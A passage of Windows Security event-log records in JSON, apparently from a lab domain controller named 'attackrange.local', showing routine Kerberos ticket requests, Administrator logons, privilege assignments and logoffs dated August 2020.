11:56:13","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221937,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{72606937-8551-52B4-EB50-EB6C725404D1}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{72606937-8551-52B4-EB50-EB6C725404D1}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:13","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221938,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{72606937-8551-52B4-EB50-EB6C725404D1}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{72606937-8551-52B4-EB50-EB6C725404D1}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:13","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221939,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x755A6\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{72606937-8551-52B4-EB50-EB6C725404D1}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x755a6","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{72606937-8551-52B4-EB50-EB6C725404D1}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:13","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221940,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x755A6\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x755a6","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:13","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221941,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x67595\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x67595","LogonType":"3","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:13","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221942,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x672D2\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x672d2","LogonType":"3","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:13","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221943,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x755A6\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x755a6","LogonType":"3","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":221944,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221945,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{3DE42524-4668-AE12-7021-711AFB58ED19}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{3DE42524-4668-AE12-7021-711AFB58ED19}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221946,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{3DE42524-4668-AE12-7021-711AFB58ED19}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{3DE42524-4668-AE12-7021-711AFB58ED19}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221947,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x75824\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{3DE42524-4668-AE12-7021-711AFB58ED19}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x75824","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{3DE42524-4668-AE12-7021-711AFB58ED19}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221948,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x75824\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x75824","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":221949,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221950,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{3DE42524-4668-AE12-7021-711AFB58ED19}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{3DE42524-4668-AE12-7021-711AFB58ED19}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 